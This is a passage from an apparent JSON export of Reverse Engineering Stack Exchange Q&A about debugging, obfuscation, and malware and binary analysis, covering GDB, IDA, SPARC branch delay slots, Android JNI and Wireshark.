        "Tags": "|linux|anti-debugging|",
        "Answer": "<p>It is possible the ways the other commenters suggested. However, all of them are interceptable, if you read a file, it can be intercepted and your program will be given different result, if you check if LD_PRELOAD is set, it can be unset before you can reach out to it, etc. Suid is another story, though, but there may be different ways of exploiting it too.</p>\n"
    },
    {
        "Id": "1934",
        "CreationDate": "2013-04-26T18:36:54.600",
        "Body": "<p>I posted this a while back on <a href=\"https://stackoverflow.com/questions/12513901/is-it-possible-to-get-python-bytecode-without-using-co-code\">stackoverflow</a> (too old to migrate though).</p>\n\n<p>Say I am in the python interpreter and define a function as follows:</p>\n\n<pre><code>def h(a):\n  return a\n</code></pre>\n\n<p>If I want to look at the bytecode (not a disassembly using dis), I can typically use <code>h.func_code.co_code</code>. Is there any other way to look at the bytecode? This particular application was packaged with a custom python interpreter (using py2exe probably) which removed access to co_code. I can't just look at the pyc file as they are encrypted.</p>\n\n<p>For example, in the interpreter, if I just type <code>h</code> without making it a function call, I get the address of the function. Can I use that address to get the bytecode? Is there some other way?</p>\n\n<p>P.S. My original goal in doing this at the time was to use pyREtic (which calls co_code) to decompile. Since it called co_code, it would fail to work. I figured out one way to do it which I will post as an answer eventually. Wanted to see what others have done or come up with.</p>\n",
        "Title": "Is it possible to get python bytecode without using co_code?",
        "Tags": "|python|",
        "Answer": "<p>perror's answer I think is the correct way to do it. I wanted to post the way I ended up doing this for other's sake just in case the issue I mentioned in my comment to perror's answer is correct. I don't have all my notes with me right now and will update if necessary.</p>\n\n<p>Basically I ran the program in gdb, set a break point in PyObject_New (or possibly PyObject_Init). I set the break point near the end of the function so that the object would be created. From there I was able to look into the object in memory to extract the byte code.</p>\n\n<p>To get this info back to pyREtic, I dumped function names and bytecode to a file from within GDB, modified pyREtic so that instead of calling co_code to get the bytecode, it would extract it from the file.</p>\n\n<p>Like I said, it has been a while now (the stackoverflow question was from Sept 2012). I'll look back over my notes and fill in the details.</p>\n"
    },
    {
        "Id": "1935",
        "CreationDate": "2013-04-27T03:13:34.493",
        "Body": "<p>I have GDB but the binary I want to reverse engineer dynamically has no symbols. That is, when I run the <a href=\"https://www.man7.org/linux/man-pages/man1/file.1.html\" rel=\"nofollow noreferrer\"><code>file</code></a> utility it shows me <strong>stripped</strong>:</p>\n<pre><code>ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped\n</code></pre>\n<p>What options do I have if the environment in which this runs doesn't allow a remote IDA Pro instance to connect to <code>gdbserver</code>? In short: the environment you have is limited in what it allows you to do, but you do have trusty old <code>gdb</code> and a binary to reverse engineer.</p>\n",
        "Title": "How to handle stripped binaries with GDB? No source, no symbols and GDB only shows addresses?",
        "Tags": "|tools|dynamic-analysis|linux|debuggers|gdb|",
        "Answer": "<p>I used to use <a href=\"https://github.com/gdbinit/Gdbinit\" rel=\"nofollow noreferrer\">https://github.com/gdbinit/Gdbinit</a> for tuning GDB but it's getting a bit dated, so I'd recommend <a href=\"https://github.com/hugsy/gef\" rel=\"nofollow noreferrer\">https://github.com/hugsy/gef</a> now as a modern alternative.</p>\n"
    },
    {
        "Id": "1937",
        "CreationDate": "2013-04-27T09:29:13.530",
        "Body": "<p>Since now, when I am analyzing a binary, I'm using a \"pen and paper\" method to locate the different location of the function, the different type of obfuscations, and all my discoveries. It is quite inefficient and do not scale at all when I try to analyze big binaries.</p>\n\n<p>I know that IDAPro is having a data-base to store comments and a memory zone, but, in case we do not want to use IDAPro, what techniques or (free) tools are you using to collect your notes and to display it properly ?</p>\n",
        "Title": "How do you store your data about a binary while performing analysis?",
        "Tags": "|tools|binary-analysis|",
        "Answer": "<p>Currently I'm using TreeDBNotes, they have a free and pro version available.  I haven't compared it to any of the methods mentioned in other answers, but find it quite useful for keeping track of my project notes/data.</p>\n\n<p><a href=\"http://www.mytreedb.com\" rel=\"nofollow\">http://www.mytreedb.com</a></p>\n"
    },
    {
        "Id": "1943",
        "CreationDate": "2013-04-27T20:06:56.917",
        "Body": "<p>This question is related to this  <a href=\"https://reverseengineering.stackexchange.com/questions/1934/is-it-possible-to-get-python-bytecode-without-using-co-code\">other one</a>. I just wonder what are the techniques applicable and which can be found in the real world to obfuscate Python program (similar questions can be found on stackoverflow <a href=\"https://stackoverflow.com/questions/261638/how-do-i-protect-python-code\">here</a> and <a href=\"https://stackoverflow.com/questions/576963/python-code-obfuscation\">here</a>).</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/1934/is-it-possible-to-get-python-bytecode-without-using-co-code/1942#1942\">mikeazo mentioned</a> the fact that his program was provided with a custom Python interpreter, but what are the other techniques and how efficient are they ?</p>\n",
        "Title": "What are the techniques and tools to obfuscate Python programs?",
        "Tags": "|tools|obfuscation|python|",
        "Answer": "<p>You have some options. </p>\n\n<p>You can create your own obfuscation method comprised of existing encryption tools...i.e. openssl.  But, beware, it will likely take you a considerable amount of time to complete this type of project.  </p>\n\n<p>It'll require you to map out how you're going to enclosed the \"passwords/passkeys\" within the obfuscated code in such a way that no one, except you, can get to it.  It'll be preferable if even you cant get to it. </p>\n\n<p>Then, you need to add in some logic that will cause the script to protect itself from inquisitive users who may try to pry it apart.  And equally as important, whatever method you come up with must not add significantly to the execution time of the script.  </p>\n\n<p>This may sound impossible, but i think its doable.  You just have to be motivated and have enough time on your hands. </p>\n\n<p>Or, if you want a shortcut, you can try pasting a sample unix based python script to <a href=\"http://www.EnScryption.com/encrypt-and-obfuscate-scripts.html\" rel=\"nofollow noreferrer\">this site</a>, and see if you can break their code and unveil your \"hidden\" code.</p>\n"
    },
    {
        "Id": "1946",
        "CreationDate": "2013-04-28T11:36:50.347",
        "Body": "<p>I was reverse engineering a piece of code in \"Crisis\" for fun and I encountered the following :-</p>\n\n<pre><code>__INIT_STUB_hidden:00004B8F                 mov     eax, 8FE00000h\n__INIT_STUB_hidden:00004B94\n__INIT_STUB_hidden:00004B94 loc_4B94:                               \n__INIT_STUB_hidden:00004B94                 mov     ebx, 41424344h\n__INIT_STUB_hidden:00004B99                 cmp     dword ptr [eax], 0FEEDFACEh\n__INIT_STUB_hidden:00004B9F                 jz      short loc_4BB9\n__INIT_STUB_hidden:00004BA1                 add     eax, 1000h\n__INIT_STUB_hidden:00004BA6                 cmp     eax, 8FFF1000h\n__INIT_STUB_hidden:00004BAB                 jnz     short loc_4B94\n</code></pre>\n\n<p>What is supposed to happen here? Why is the presence of <code>FEEDFACE</code> expected at the address <code>8FFF0000</code> or <code>8FFF1000</code>? I understand that <code>feedface</code>/<code>feedfacf</code> are Mach-O magic numbers -- however why are they expected to be present at those addresses?</p>\n",
        "Title": "FEEDFACE in OSX malware",
        "Tags": "|malware|osx|",
        "Answer": "<p>Crisis is trying to locate dyld location in that piece of code: 32bits dyld is usually located at 8FE00000 - it uses that to solve symbols, if I'm not mistaken.</p>\n\n<p>Check my Crisis <a href=\"http://reverse.put.as/2012/08/06/tales-from-crisis-chapter-1-the-droppers-box-of-tricks/\">analysis</a> if you haven't already.</p>\n"
    },
    {
        "Id": "1956",
        "CreationDate": "2013-04-29T01:12:29.017",
        "Body": "<p>In my <a href=\"https://reverseengineering.stackexchange.com/questions/1906/how-can-my-plugin-get-notified-of-anterior-or-posterior-comments-and-more-chan\">previous question</a> I had originally asked for this, but since this aspect of the question was completely disregarded, I feel compelled to ask it separately.</p>\n\n<p>There are certain events apparently not covered in the IDA SDK. I learned in the above linked question that anterior and posterior comments are supported, but what about other events such as when I press <kbd>h</kbd> (e.g. <code>2Ah</code> becomes <code>42</code>) to change the number to base 10 (and back) or <kbd>r</kbd> to show it as character (e.g. <code>2Ah</code> becomes <code>*</code>).</p>\n\n<p>How would I go about to catch these?</p>\n\n<p><strong>NB:</strong> in general this question would also relate to IDA versions prior to the ones supporting a particular event notification. E.g. the IDA SDK 6.4, according to Igor, introduced notifications for anterior and posterior comments. How can I get older versions and 6.4 to co-operate w.r.t. those events in conjunction with <a href=\"http://sourceforge.net/projects/collabreate/\" rel=\"nofollow noreferrer\">collabREate</a>?</p>\n\n<p>I know that it is allowed to reverse engineer IDA itself, so what I am looking for are pointers.</p>\n",
        "Title": "How to get notified about IDA database events not covered in the IDA SDK?",
        "Tags": "|ida|ida-plugin|idapro-sdk|",
        "Answer": "<p>When I needed to do a similar task I ended up hooking the IDB save event and then scanned the IDB for modifications using the IDA API before each user save. it took about a few seconds to scan the entire function list, aggregating most information for both functions and data elements.</p>\n\n<p>To me, that sounds like a more practical approach than trying to reverse engineer IDA and patching these hooks in, especially when trying to catch UI events such as user hotkeys.</p>\n\n<p>one point to note though, is that aggregating structure/enum data might be difficult if you choose not to rely on IDA's id numbers if you're doing to handle more than one IDB file.</p>\n\n<p>If you do wish to reverse engineer IDA, it'll be very interesting to join a discussion on the topic somewhere.\nsince IDA now uses Qt for most of it's UI (though I'll guess the migration to Qt wasn't as smooth as one could hope), a great starting point into Qt will be <a href=\"http://www.codeproject.com/Articles/31330/Qt-Internals-Reversing\" rel=\"nofollow noreferrer\">Daniel Pistelli's Qt Internals and Reversing</a> article, which also includes an IDAPython script at the end (yet reading the entire article is highly recommended).</p>\n\n<p>it's somewhat outdated but assuming IDA uses Qt 4.8.x there aren't many differences (if you'd like I can list the ones I know of).</p>\n\n<p>basically, since Qt is very event-driven (and with some luck IDA 6.0 was designed with that in mind) it might be the case that you just need to listen, in Qt-dialect this is called <code>connect</code>-ing a <code>slot</code> (event handler) to a <code>signal</code> (event), for at-least some of the specific events you wish to hook.</p>\n\n<p>I previously did some moderate Qt-IDA hacks as I call them, using Qt and PyQt to manipulate Qt objects under IDA's application. In the same manner I managed to add and edit menu items and tool bars manually, it is definitely possible to look up the context menu popup when right-clicking in IDA's disassembly view or hooking the hotkeys.</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/11181/adding-a-toolbar-to-ida-using-pyside/12999#12999\">This RE.SE</a> answer of mine might be a good place to start.</p>\n"
    },
    {
        "Id": "1958",
        "CreationDate": "2013-04-29T16:28:50.237",
        "Body": "<p>I'm reversing some malware on an OSX VM when I noticed something peculiar. While stepping through the instructions, the instruction just after a <code>int 0x80</code> gets skipped <em>i.e.</em> gets executed without me stepping through this.</p>\n\n<p><strong>Example:</strong></p>\n\n<pre><code> int 0x80\n inc eax ; &lt;--- this gets skipped\n inc ecx ; &lt;--- stepping resumes here\n</code></pre>\n\n<p>Why does this happen? Have you encountered something similar to this?</p>\n",
        "Title": "Strange GDB behavior in OSX",
        "Tags": "|malware|gdb|osx|x86|mach-o|",
        "Answer": "<p>When single-stepping through code, the <code>T</code> flag is set so that the CPU can break after the instruction completes execution.  When an interrupt occurs, the state of the <code>T</code> flag is placed on the stack, and used when the <code>iret</code> instruction is executed by the handler.  However, the <code>iret</code> instruction is one of a few instructions that causes a one-instruction delay in the triggering of the <code>T</code> flag, due to legacy issues relating to the initialization of the stack.</p>\n\n<p>So the skipped instruction is executing but you can't step into it (but if you set a breakpoint at that location and run to that point instead, then you will get a break).</p>\n"
    },
    {
        "Id": "1962",
        "CreationDate": "2013-04-29T17:49:06.700",
        "Body": "<p>Our team recently had to look at <a href=\"http://www.sparc.com/standards/V8.pdf\" rel=\"nofollow\">SPARC assembly specifications</a>, the problem is that I do not have a SPARC processor to try things on it (I should set up a simulator or get one of these old Sparc station on my desk... I know).</p>\n\n<p>Somehow, the <code>ba</code> (branch always) instruction puzzled me because it is a <a href=\"http://en.wikibooks.org/wiki/SPARC_Assembly/SPARC_Details#Delayed_Branch\" rel=\"nofollow\">delayed branch execution</a> instruction. This mean that the instruction located just <strong>after</strong> the <code>ba</code> get executed before the jump occurs.</p>\n\n<p>One of my colleague raised a very interesting question, what does occur in this case:</p>\n\n<pre><code>0x804b38 ba 0x805a10\n0x804b3c ba 0x806844\n...\n0x805a10 add %r3, %r2, %r5\n...\n0x806844 sub %r3, %r5, %r2\n...\n</code></pre>\n\n<p>Our guess, following the specifications, is that the run should behave like this:</p>\n\n<pre><code>0x805a10 add %r3, %r2, %r5\n0x806844 sub %r3, %r5, %r2\n0x806848 ...\n</code></pre>\n\n<p>Which means that you can probably jump and pick up one instruction inside a block of others and run to the next <code>ba</code>... I wonder what the CFG would look like.</p>\n\n<p>Whatever, it was the \"<em>simple</em>\" case, what if we have dynamic jumps (the <code>jmp</code> instruction is like a <code>ba</code> but based on the address stored in the given register):</p>\n\n<pre><code>0x804b38 jmp %r3\n0x804b3c jmp %r0\n...\n(%r3)    change %r0\n...\n</code></pre>\n\n<p>Would it be a good way to mislead a static-analyzer ? Or, is there a way to have an easy computation to guess what it is doing ?</p>\n",
        "Title": "On SPARC, what happens when a branch is placed in the branch-delay slot of another branch?",
        "Tags": "|obfuscation|binary-analysis|sparc|",
        "Answer": "<p><strong>I edited the whole example a little so that it would better match the question.</strong></p>\n\n<p>My SPARC assembly fu is weak, but what I did was write a little \"Hello world\" with a twist (or one could say with jumps/<code>goto</code>s) in C and use <code>gcc -S</code> to translate it to assembly. I have a SPARC on which I am running it, details:</p>\n\n<pre><code>$ isainfo -v\n64-bit sparcv9 applications\n        vis2 vis\n32-bit sparc applications\n        vis2 vis v8plus div32 mul32\n</code></pre>\n\n<p><strong>NB:</strong> <code>b</code> is the same as <code>jmp</code>, it's just a different mnemonic for the same thing, really. One takes an immediate value (<code>b</code>), the other a register (<code>jmp</code>).</p>\n\n<p>It turns out that what <a href=\"http://en.wikibooks.org/wiki/SPARC_Assembly/SPARC_Details#Delayed_Branch\" rel=\"nofollow noreferrer\">the link</a> you gave is true for GCC:</p>\n\n<blockquote>\n  <p>Notice that the last instruction executes before the jump takes place,\n  not after the subroutine returns. This first instruction after a jump\n  is called a delay slot. It is common practice to fill the delay slot\n  with a special operation that performs no task, called a no-operation,\n  or <code>nop</code>.</p>\n</blockquote>\n\n<h1>Real life test</h1>\n\n<p>I reckon we need to do this with and without debugger, because it's not clear whether it might behave differently under a debugger. So the code should output something readable so we can see what kind of effect our tinkering has ;)</p>\n\n<h2>C code</h2>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint foo(int argc)\n{\n        switch(argc)\n        {\n        case 0:\n        case 1:\n                goto a1;\n        case 2:\n                return 3;\n        case 4:\n                goto a2;\n        case 5:\n                return -1;\n        default:\n                goto a4;\n        }\na1:     return 1;\na2:     return 2;\na4:     return 4;\n}\n\nint main(int argc, char** argv)\n{\n        printf(\"Hello world: %i\\n\", foo(argc));\n        return foo(argc);\n}\n</code></pre>\n\n<p>This gives me plenty of branch instructions to play around with the idea raised in the question.</p>\n\n<h2>Assembly created by <code>gcc -S</code></h2>\n\n<p>Here's the assembly before I tinkered with it:</p>\n\n<pre><code>        .file   \"test.c\"\n        .section        \".text\"\n        .align 4\n        .global foo\n        .type   foo, #function\n        .proc   04\nfoo:\n        !#PROLOGUE# 0\n        save    %sp, -120, %sp\n        !#PROLOGUE# 1\n        st      %i0, [%fp+68]\n        ld      [%fp+68], %g1\n        cmp     %g1, 5\n        bgu     .LL11\n        nop\n        ld      [%fp+68], %g1\n        sll     %g1, 2, %i5\n        sethi   %hi(.LL12), %g1\n        or      %g1, %lo(.LL12), %g1\n        ld      [%i5+%g1], %g1\n        jmp     %g1\n         nop\n.LL6:\n        mov     3, %g1\n        st      %g1, [%fp-20]\n        b       .LL1\n         nop\n.LL9:\n        mov     -1, %g1\n        st      %g1, [%fp-20]\n        b       .LL1\n         nop\n.LL5:\n        mov     1, %g1\n        st      %g1, [%fp-20]\n        b       .LL1\n         nop\n.LL8:\n        mov     2, %g1\n        st      %g1, [%fp-20]\n        b       .LL1\n         nop\n.LL11:\n        mov     4, %g1\n        st      %g1, [%fp-20]\n.LL1:\n        ld      [%fp-20], %i0\n        ret\n        restore\n        .align 4\n        .align 4\n.LL12:\n        .word   .LL5\n        .word   .LL5\n        .word   .LL6\n        .word   .LL11\n        .word   .LL8\n        .word   .LL9\n        .size   foo, .-foo\n        .section        \".rodata\"\n        .align 8\n.LLC0:\n        .asciz  \"Hello world: %i\\n\"\n        .section        \".text\"\n        .align 4\n        .global main\n        .type   main, #function\n        .proc   04\nmain:\n        !#PROLOGUE# 0\n        save    %sp, -112, %sp\n        !#PROLOGUE# 1\n        st      %i0, [%fp+68]\n        st      %i1, [%fp+72]\n        ld      [%fp+68], %o0\n        call    foo, 0\n         nop\n        mov     %o0, %o5\n        sethi   %hi(.LLC0), %g1\n        or      %g1, %lo(.LLC0), %o0\n        mov     %o5, %o1\n        call    printf, 0\n         nop\n        ld      [%fp+68], %o0\n        call    foo, 0\n         nop\n        mov     %o0, %g1\n        mov     %g1, %i0\n        ret\n        restore\n        .size   main, .-main\n        .ident  \"GCC: (GNU) 3.4.3 (csl-sol210-3_4-branch+sol_rpath)\"\n</code></pre>\n\n<p>I'll concentrate on modifying the result of <code>foo()</code>, so I won't repeat all of the assembly code again but instead only bits and pieces.</p>\n\n<p>btw: GCC created the extra indentation for the <code>nop</code> instructions, but it makes it easy to spot them, of course.</p>\n\n<h2>Steps to get from C to executable with tinkering involved</h2>\n\n<p>Here are the steps to get to the modified program.</p>\n\n<ul>\n<li>use <code>gcc -S test.c</code> to get a <code>test.s</code> file</li>\n<li>modify the <code>test.s</code></li>\n<li>Assemble it with <code>gas -o test.o test.s</code></li>\n<li>Link with GCC using <code>gcc -o test test.o</code></li>\n</ul>\n\n<h2>Modifications to the assembly code</h2>\n\n<p>First, I felt compelled to \"optimize\" the instructions in <code>LL6</code>, <code>LL9</code>, <code>LL5</code>, <code>LL8</code>, <code>LL11</code> and <code>LL1</code> like this:</p>\n\n<pre><code>.LL6:\n        mov     3, %i0\n        b       .LL1\n         nop\n.LL9:\n        mov     -1, %i0\n        b       .LL1\n         nop\n.LL5:\n        mov     1, %i0\n        b       .LL1\n         nop\n.LL8:\n        mov     2, %i0\n        b       .LL1\n         nop\n.LL11:\n        mov     4, %i0\n.LL1:\n        ret\n        restore\n</code></pre>\n\n<p>It should be clear that if your colleague is right, we should be able to substitute the <code>nop</code> instructions for a <code>mov ..., %i0</code> to see something other than the expected value.</p>\n\n<p>I called my modified assembly file <code>modified.s</code> so as to not confuse myself ;)</p>\n\n<h3>Verifying my \"optimizations\"</h3>\n\n<p>First test is with my \"optimizations only\". I wrote a little test script:</p>\n\n<pre><code>#!/usr/bin/env bash\nfor i in optimized test; do\n        echo -n \"$i: \"; ./$i\n        echo -n \"$i: \"; ./$i a1\n        echo -n \"$i: \"; ./$i a1 a2\n        echo -n \"$i: \"; ./$i a1 a2 a3\ndone\n</code></pre>\n\n<p>The binaries are called <code>optimized</code> (my \"optimizations\" from above) and <code>test</code> (plain assembly created by GCC from C code).</p>\n\n<p><strong>Results:</strong></p>\n\n<pre><code>$ ./runtest\noptimized: Hello world: 1\noptimized: Hello world: 3\noptimized: Hello world: 4\noptimized: Hello world: 2\ntest: Hello world: 1\ntest: Hello world: 3\ntest: Hello world: 4\ntest: Hello world: 2\n</code></pre>\n\n<p>So my \"optimizations\" seem to be just fine. Now let's tinker a little.</p>\n\n<h3>Tinkering with the instructions which modify the program counter</h3>\n\n<p>The claim is that anything past a <code>jmp</code> (i.e. <code>b</code>) will get executed <em>before</em> the jump itself. We have several labels with jumps, so let's replace the <code>nop</code> in each with something that changes the value inside <code>%i0</code> and thus the return value of <code>foo()</code>.</p>\n\n<p><strong>The changes:</strong></p>\n\n<pre><code>.LL6:\n        mov     3, %i0\n        b       .LL1\n        mov     30, %i0\n.LL9:\n        mov     -1, %i0\n        b       .LL1\n        mov     42, %i0\n.LL5:\n        mov     1, %i0\n        b       .LL1\n        mov     10, %i0\n.LL8:\n        mov     2, %i0\n        b       .LL1\n        mov     20, %i0\n.LL11:\n        mov     4, %i0\n.LL1:\n        ret\n        restore\n</code></pre>\n\n<p>So except for return code <code>-1</code> (which becomes <code>42</code>) and <code>4</code> (which stays the same) everything should now return the original value times ten.</p>\n\n<p>Let's see the results (I added <code>modified</code> to the list of items in my <code>for</code> loop):</p>\n\n<pre><code>$ ./runtest\noptimized: Hello world: 1\noptimized: Hello world: 3\noptimized: Hello world: 4\noptimized: Hello world: 2\ntest: Hello world: 1\ntest: Hello world: 3\ntest: Hello world: 4\ntest: Hello world: 2\nmodified: Hello world: 10\nmodified: Hello world: 30\nmodified: Hello world: 4\nmodified: Hello world: 20\n</code></pre>\n\n<h1>A change that is as close to your example as I can get it</h1>\n\n<pre><code>        mov     39, %i0\n        jmp     %g1\n        b       .LL11\n        b       .LL1\n.LL6:\n        mov     37, %i0\n        b       .LL1\n        mov     30, %i0\n[...]\n.LL11:\n        mov     4, %i0\n.LL1:\n        ret\n        restore\n</code></pre>\n\n<p>Amending the test script, here's the output:</p>\n\n<pre><code>$ ./runtest\noptimized: Hello world: 1\noptimized: Hello world: 3\noptimized: Hello world: 4\noptimized: Hello world: 2\ntest: Hello world: 1\ntest: Hello world: 3\ntest: Hello world: 4\ntest: Hello world: 2\nmodified: Hello world: 10\nmodified: Hello world: 30\nmodified: Hello world: 4\nmodified: Hello world: 20\nquestion: Hello world: 4\nquestion: Hello world: 4\nquestion: Hello world: 4\nquestion: Hello world: 4\n</code></pre>\n\n<p>Baffling!</p>\n\n<h1>Result</h1>\n\n<p>You can play tricks on the reverse engineer's mind with this - no doubt. I learned something new and that alone was worth it.</p>\n\n<p>Here's the situation</p>\n\n<pre><code>jmp     %g1\nb       .LL11 ; &lt;-- this is the branch taken\nb       .LL1\nmov     37, %i0 ; &lt;-- but this gets executed first (at least in GDB)\n</code></pre>\n\n<p>Now I don't know whether this is true for all SPARC machines, but certainly for the one I was using for my tests (specs at the top)</p>\n\n<h1>Conclusion</h1>\n\n<p>Yes, this can certainly be used to trick the unwitting reverse engineer and perhaps the disassembler (static analysis tool). It's basically an opaque predicate. I.e. the outcome is clear at compile time, but it looks like it's dynamic.</p>\n\n<p>It's difficult to see how good different disassemblers cope, given that I only have IDA Pro and <code>objdump</code> available here. My educated guess would be that they cope the same as with other <a href=\"http://en.wikipedia.org/wiki/Opaque_predicate\" rel=\"nofollow noreferrer\">opaque predicates</a>, i.e. sometimes they'll get fooled, sometimes they'll be surprisingly smart. So whether or not this is a suitable obfuscation method remains unsolved.</p>\n\n<h2>Bonus information</h2>\n\n<p>As opposed to prior to the edit, IDA seems to be mildly confused by the new code, watch this graph view:</p>\n\n<p><img src=\"https://i.stack.imgur.com/1Ybgl.png\" alt=\"IDA slightly confused\">\n<a href=\"https://i.stack.imgur.com/jDzvg.png\" rel=\"nofollow noreferrer\">click here for full size image</a> (<a href=\"https://i.stack.imgur.com/jDzvg.png\" rel=\"nofollow noreferrer\">previous version</a>)</p>\n\n<h2>Little GDB session</h2>\n\n<p><code>0x106CC</code> is the <code>mov 39, %i0</code> instruction, found via IDA.</p>\n\n<pre><code>$ gdb -q ./question\n(no debugging symbols found)\n(gdb) b *0x106CC\nBreakpoint 1 at 0x106cc\n(gdb) run a1\nStarting program: /export/home/builder/test/question a1\n[New LWP 1]\n[New LWP 2]\n[LWP 2 exited]\n[New LWP 2]\n(no debugging symbols found)\n(no debugging symbols found)\n\nBreakpoint 1, 0x000106cc in foo ()\n(gdb) disp/i $pc\n1: x/i $pc\n0x106cc &lt;foo+44&gt;:       mov  0x27, %i0\n(gdb) si\n0x000106d0 in foo ()\n1: x/i $pc\n0x106d0 &lt;foo+48&gt;:       jmp  %g1\n0x106d4 &lt;foo+52&gt;:       b  0x1070c &lt;foo+108&gt;\n0x106d8 &lt;foo+56&gt;:       b  0x10710 &lt;foo+112&gt;\n0x106dc &lt;foo+60&gt;:       mov  0x25, %i0\n(gdb)\n0x000106d4 in foo ()\n1: x/i $pc\n0x106d4 &lt;foo+52&gt;:       b  0x1070c &lt;foo+108&gt;\n0x106d8 &lt;foo+56&gt;:       b  0x10710 &lt;foo+112&gt;\n0x106dc &lt;foo+60&gt;:       mov  0x25, %i0\n(gdb)\n0x000106dc in foo ()\n1: x/i $pc\n0x106dc &lt;foo+60&gt;:       mov  0x25, %i0\n(gdb)\n0x0001070c in foo ()\n1: x/i $pc\n0x1070c &lt;foo+108&gt;:      mov  4, %i0\n(gdb)\n0x00010710 in foo ()\n1: x/i $pc\n0x10710 &lt;foo+112&gt;:      ret\n0x10714 &lt;foo+116&gt;:      restore\n(gdb)\n</code></pre>\n\n<p>So according to GDB we are executing the <code>mov 37, %i0</code> before the branching. This seems to suggest to me that even when you chain multiple branch instructions, the first thing to be executed is whatever comes after the last one in the chain.</p>\n"
    },
    {
        "Id": "1965",
        "CreationDate": "2013-04-29T18:57:17.257",
        "Body": "<p>I have an android application that uses a shared library which I would like to step through with a debugger.  I've had success using IDA 6.3 to debug executables with the <code>android_server</code> debug server included with IDA but haven't gotten it to work with shared objects yet.  </p>\n\n<p>For a specific example, suppose I have the following Java code (This comes from the hellojni example in the Android NDK):</p>\n\n<pre><code>System.loadLibrary(\"hello-jni\");\ntv.setText( stringFromJNI() );\n</code></pre>\n\n<p>With the JNI C code as:</p>\n\n<pre><code>jstring\nJava_com_example_hellojni_HelloJni_stringFromJNI( JNIEnv* env, jobject thiz )\n{\n        return (*env)-&gt;NewStringUTF(env, \"Hello from JNI !\");\n}\n</code></pre>\n\n<p>If the java code is run only when the application starts up, how can I break in the function <code>Java_com_example_hellojni_HelloJni_stringFromJNI</code>?</p>\n",
        "Title": "How to break on an Android JNI function with IDA Pro Debugger",
        "Tags": "|ida|android|",
        "Answer": "<p>Newer versions of Android actually include a mechanism like this. It uses jdwp to send a signal to tell the app that you've connected up. See the ndk-gdb script from the NDK =)</p>\n"
    },
    {
        "Id": "1970",
        "CreationDate": "2013-04-30T19:44:25.337",
        "Body": "<p>Is it possible to sniff TCP traffic for a specific process using Wireshark, even through a plugin to filter TCP traffic based on process ID?</p>\n\n<p>I'm working on Windows 7, but I would like to hear about solution for Linux as well.</p>\n",
        "Title": "Sniffing TCP traffic for specific process using Wireshark",
        "Tags": "|sniffing|wireshark|",
        "Answer": "<p>The best option for Windows that I have found in 2023 is using WinShark, which is not that well known:</p>\n<p><a href=\"https://github.com/airbus-cert/Winshark\" rel=\"nofollow noreferrer\">https://github.com/airbus-cert/Winshark</a></p>\n<p>It uses ETW to capture PID related to each packet, you just have to use something like <code>winshark.header.ProcessId == 1234</code>.</p>\n<p><a href=\"https://i.stack.imgur.com/OoHJa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OoHJa.png\" alt=\"enter image description here\" /></a></p>\n<p>Installing it is also very straightforward which is explained in their github.</p>\n"
    },
    {
        "Id": "1971",
        "CreationDate": "2013-04-30T19:57:56.433",
        "Body": "<p>I have binary data representing a table.</p>\n\n<p>Here's the data when I print it with Python's <a href=\"http://docs.python.org/2/library/repr.html#module-repr\">repr()</a>:\n<code>\\xff\\xff\\x05\\x04test\\x02A\\x05test1@\\x04\\x03@@\\x04\\x05@0\\x00\\x00@\\x05\\x05test2\\x03\\x05\\x05test1\\x06@0\\x00\\x01@\\x00</code></p>\n\n<p>Here's what the table looks like in the proprietary software.</p>\n\n<p><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>test1</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>test1</kbd><kbd>test1</kbd><br/>\n<kbd>test&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>test1</kbd><br/>\n<kbd>test1</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>test1</kbd><kbd>test2</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>test1</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>test1</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>test1</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\n<kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>test1</kbd><kbd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br/>\